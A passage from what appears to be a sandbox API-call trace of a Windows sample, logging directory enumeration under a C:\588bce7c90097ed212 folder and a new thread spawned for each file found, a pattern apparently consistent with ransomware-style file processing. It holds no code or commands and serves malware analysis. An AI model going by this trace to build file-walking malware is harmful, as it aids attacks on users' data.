	[0073.328] FindNextFileW (in: hFindFile=0x2d710c0, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0073.328] FindClose (in: hFindFile=0x2d710c0 | out: hFindFile=0x2d710c0) returned 1
	[0073.329] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d84bf0) returned 1
	[0073.329] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d733d8) returned 1
	[0073.329] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d711c0) returned 1

Thread:
	id = 45
	os_tid = 0xfc8

	[0073.329] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3a) returned 0x2d733d8
	[0073.329] wcscpy (in: _Dest=0x2d733d8, _Source="C:\\588bce7c90097ed212\\1030" | out: _Dest="C:\\588bce7c90097ed212\\1030") returned="C:\\588bce7c90097ed212\\1030"
	[0073.329] wcscat (in: _Dest=0x2d733d8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1030\\") returned="C:\\588bce7c90097ed212\\1030\\"
	[0073.329] wcscat (in: _Dest=0x2d733d8, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1030\\*") returned="C:\\588bce7c90097ed212\\1030\\*"
	[0073.329] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d84bf0
	[0073.329] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d710c0
	[0073.330] wcscmp (_String1=".", _String2=".") returned 0
	[0073.330] FindNextFileW (in: hFindFile=0x2d710c0, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.330] wcscmp (_String1="..", _String2=".") returned 1
	[0073.330] wcscmp (_String1="..", _String2="..") returned 0
	[0073.330] FindNextFileW (in: hFindFile=0x2d710c0, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xcf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0073.330] wcscmp (_String1="eula.rtf", _String2=".") returned 1
	[0073.330] wcscmp (_String1="eula.rtf", _String2="..") returned 1
	[0073.330] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x4731050
	[0073.330] wcscpy (in: _Dest=0x4731050, _Source="C:\\588bce7c90097ed212\\1030" | out: _Dest="C:\\588bce7c90097ed212\\1030") returned="C:\\588bce7c90097ed212\\1030"
	[0073.330] wcscat (in: _Dest=0x4731050, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1030\\") returned="C:\\588bce7c90097ed212\\1030\\"
	[0073.330] wcscat (in: _Dest=0x4731050, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned="C:\\588bce7c90097ed212\\1030\\eula.rtf"
	[0073.331] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4731050, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a0
	[0073.331] FindNextFileW (in: hFindFile=0x2d710c0, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12fb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0073.331] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1
	[0073.331] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1
	[0073.331] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x2d79f68
	[0073.331] wcscpy (in: _Dest=0x2d79f68, _Source="C:\\588bce7c90097ed212\\1030" | out: _Dest="C:\\588bce7c90097ed212\\1030") returned="C:\\588bce7c90097ed212\\1030"
	[0073.331] wcscat (in: _Dest=0x2d79f68, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1030\\") returned="C:\\588bce7c90097ed212\\1030\\"
	[0073.331] wcscat (in: _Dest=0x2d79f68, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml"
	[0073.331] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d79f68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a4
	[0073.332] FindNextFileW (in: hFindFile=0x2d710c0, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0073.332] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1
	[0073.332] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1
	[0073.332] FindNextFileW (in: hFindFile=0x2d710c0, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0073.332] FindClose (in: hFindFile=0x2d710c0 | out: hFindFile=0x2d710c0) returned 1
	[0073.332] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d84bf0) returned 1
	[0073.332] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d733d8) returned 1
	[0073.332] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70fc0) returned 1

Thread:
	id = 46
	os_tid = 0xfc0

	[0073.333] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3a) returned 0x2d733d8
	[0073.333] wcscpy (in: _Dest=0x2d733d8, _Source="C:\\588bce7c90097ed212\\1031" | out: _Dest="C:\\588bce7c90097ed212\\1031") returned="C:\\588bce7c90097ed212\\1031"
	[0073.333] wcscat (in: _Dest=0x2d733d8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1031\\") returned="C:\\588bce7c90097ed212\\1031\\"
	[0073.333] wcscat (in: _Dest=0x2d733d8, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1031\\*") returned="C:\\588bce7c90097ed212\\1031\\*"
	[0073.333] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d84bf0
	[0073.333] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70fc0
	[0073.334] wcscmp (_String1=".", _String2=".") returned 0
	[0073.334] FindNextFileW (in: hFindFile=0x2d70fc0, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.334] wcscmp (_String1="..", _String2=".") returned 1
	[0073.334] wcscmp (_String1="..", _String2="..") returned 0
	[0073.334] FindNextFileW (in: hFindFile=0x2d70fc0, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0073.334] wcscmp (_String1="eula.rtf", _String2=".") returned 1
	[0073.334] wcscmp (_String1="eula.rtf", _String2="..") returned 1
	[0073.334] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x47310f0
	[0073.334] wcscpy (in: _Dest=0x47310f0, _Source="C:\\588bce7c90097ed212\\1031" | out: _Dest="C:\\588bce7c90097ed212\\1031") returned="C:\\588bce7c90097ed212\\1031"
	[0073.334] wcscat (in: _Dest=0x47310f0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1031\\") returned="C:\\588bce7c90097ed212\\1031\\"
	[0073.334] wcscat (in: _Dest=0x47310f0, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned="C:\\588bce7c90097ed212\\1031\\eula.rtf"
	[0073.334] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47310f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a8
	[0073.334] FindNextFileW (in: hFindFile=0x2d70fc0, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0073.335] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1
	[0073.335] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1
	[0073.335] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x2d7a038
	[0073.335] wcscpy (in: _Dest=0x2d7a038, _Source="C:\\588bce7c90097ed212\\1031" | out: _Dest="C:\\588bce7c90097ed212\\1031") returned="C:\\588bce7c90097ed212\\1031"
	[0073.335] wcscat (in: _Dest=0x2d7a038, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1031\\") returned="C:\\588bce7c90097ed212\\1031\\"
	[0073.335] wcscat (in: _Dest=0x2d7a038, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml"
	[0073.335] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d7a038, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5ac
	[0073.335] FindNextFileW (in: hFindFile=0x2d70fc0, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0073.335] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1
	[0073.335] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1
	[0073.335] FindNextFileW (in: hFindFile=0x2d70fc0, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0073.335] FindClose (in: hFindFile=0x2d70fc0 | out: hFindFile=0x2d70fc0) returned 1
	[0073.336] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d84bf0) returned 1
	[0073.336] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d733d8) returned 1
	[0073.336] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d71240) returned 1

Thread:
	id = 47
	os_tid = 0xfb8

	[0073.337] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3a) returned 0x2d733d8
	[0073.337] wcscpy (in: _Dest=0x2d733d8, _Source="C:\\588bce7c90097ed212\\1032" | out: _Dest="C:\\588bce7c90097ed212\\1032") returned="C:\\588bce7c90097ed212\\1032"
	[0073.337] wcscat (in: _Dest=0x2d733d8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1032\\") returned="C:\\588bce7c90097ed212\\1032\\"
	[0073.337] wcscat (in: _Dest=0x2d733d8, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1032\\*") returned="C:\\588bce7c90097ed212\\1032\\*"
	[0073.337] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d84bf0
	[0073.337] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70fc0
	[0073.338] wcscmp (_String1=".", _String2=".") returned 0
	[0073.338] FindNextFileW (in: hFindFile=0x2d70fc0, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.338] wcscmp (_String1="..", _String2=".") returned 1
	[0073.338] wcscmp (_String1="..", _String2="..") returned 0
	[0073.338] FindNextFileW (in: hFindFile=0x2d70fc0, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x22ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0073.338] wcscmp (_String1="eula.rtf", _String2=".") returned 1
	[0073.338] wcscmp (_String1="eula.rtf", _String2="..") returned 1
	[0073.338] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x4730c90
	[0073.338] wcscpy (in: _Dest=0x4730c90, _Source="C:\\588bce7c90097ed212\\1032" | out: _Dest="C:\\588bce7c90097ed212\\1032") returned="C:\\588bce7c90097ed212\\1032"
	[0073.338] wcscat (in: _Dest=0x4730c90, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1032\\") returned="C:\\588bce7c90097ed212\\1032\\"
	[0073.338] wcscat (in: _Dest=0x4730c90, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned="C:\\588bce7c90097ed212\\1032\\eula.rtf"
	[0073.338] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4730c90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b0
	[0073.339] FindNextFileW (in: hFindFile=0x2d70fc0, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1510c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0073.339] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1
	[0073.339] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1
	[0073.339] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x2d7a108
	[0073.339] wcscpy (in: _Dest=0x2d7a108, _Source="C:\\588bce7c90097ed212\\1032" | out: _Dest="C:\\588bce7c90097ed212\\1032") returned="C:\\588bce7c90097ed212\\1032"
	[0073.339] wcscat (in: _Dest=0x2d7a108, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1032\\") returned="C:\\588bce7c90097ed212\\1032\\"
	[0073.339] wcscat (in: _Dest=0x2d7a108, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml"
	[0073.339] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d7a108, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b4
	[0073.339] FindNextFileW (in: hFindFile=0x2d70fc0, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0073.339] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1
	[0073.339] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1
	[0073.339] FindNextFileW (in: hFindFile=0x2d70fc0, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0073.339] FindClose (in: hFindFile=0x2d70fc0 | out: hFindFile=0x2d70fc0) returned 1
	[0073.340] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d84bf0) returned 1
	[0073.340] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d733d8) returned 1
	[0073.340] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d713c0) returned 1

Thread:
	id = 48
	os_tid = 0xfb0

	[0073.340] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3a) returned 0x2d733d8
	[0073.340] wcscpy (in: _Dest=0x2d733d8, _Source="C:\\588bce7c90097ed212\\1033" | out: _Dest="C:\\588bce7c90097ed212\\1033") returned="C:\\588bce7c90097ed212\\1033"
	[0073.340] wcscat (in: _Dest=0x2d733d8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1033\\") returned="C:\\588bce7c90097ed212\\1033\\"
	[0073.340] wcscat (in: _Dest=0x2d733d8, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1033\\*") returned="C:\\588bce7c90097ed212\\1033\\*"
	[0073.341] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d84bf0
	[0073.341] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70fc0
	[0073.341] wcscmp (_String1=".", _String2=".") returned 0
	[0073.341] FindNextFileW (in: hFindFile=0x2d70fc0, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.341] wcscmp (_String1="..", _String2=".") returned 1
	[0073.341] wcscmp (_String1="..", _String2="..") returned 0
	[0073.341] FindNextFileW (in: hFindFile=0x2d70fc0, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd723cc00, ftCreationTime.dwHighDateTime=0x1cabb47, ftLastAccessTime.dwLowDateTime=0xd723cc00, ftLastAccessTime.dwHighDateTime=0x1cabb47, ftLastWriteTime.dwLowDateTime=0xd723cc00, ftLastWriteTime.dwHighDateTime=0x1cabb47, nFileSizeHigh=0x0, nFileSizeLow=0xc74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0073.341] wcscmp (_String1="eula.rtf", _String2=".") returned 1
	[0073.341] wcscmp (_String1="eula.rtf", _String2="..") returned 1
	[0073.341] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x4730e20
	[0073.341] wcscpy (in: _Dest=0x4730e20, _Source="C:\\588bce7c90097ed212\\1033" | out: _Dest="C:\\588bce7c90097ed212\\1033") returned="C:\\588bce7c90097ed212\\1033"
	[0073.341] wcscat (in: _Dest=0x4730e20, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1033\\") returned="C:\\588bce7c90097ed212\\1033\\"
	[0073.341] wcscat (in: _Dest=0x4730e20, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned="C:\\588bce7c90097ed212\\1033\\eula.rtf"
	[0073.342] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4730e20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b8
	[0073.342] FindNextFileW (in: hFindFile=0x2d70fc0, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x47ad1a00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x47ad1a00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x47ad1a00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0073.342] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1
	[0073.342] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1
	[0073.342] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x2d7a1d8
	[0073.342] wcscpy (in: _Dest=0x2d7a1d8, _Source="C:\\588bce7c90097ed212\\1033" | out: _Dest="C:\\588bce7c90097ed212\\1033") returned="C:\\588bce7c90097ed212\\1033"
	[0073.342] wcscat (in: _Dest=0x2d7a1d8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1033\\") returned="C:\\588bce7c90097ed212\\1033\\"
	[0073.342] wcscat (in: _Dest=0x2d7a1d8, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml"
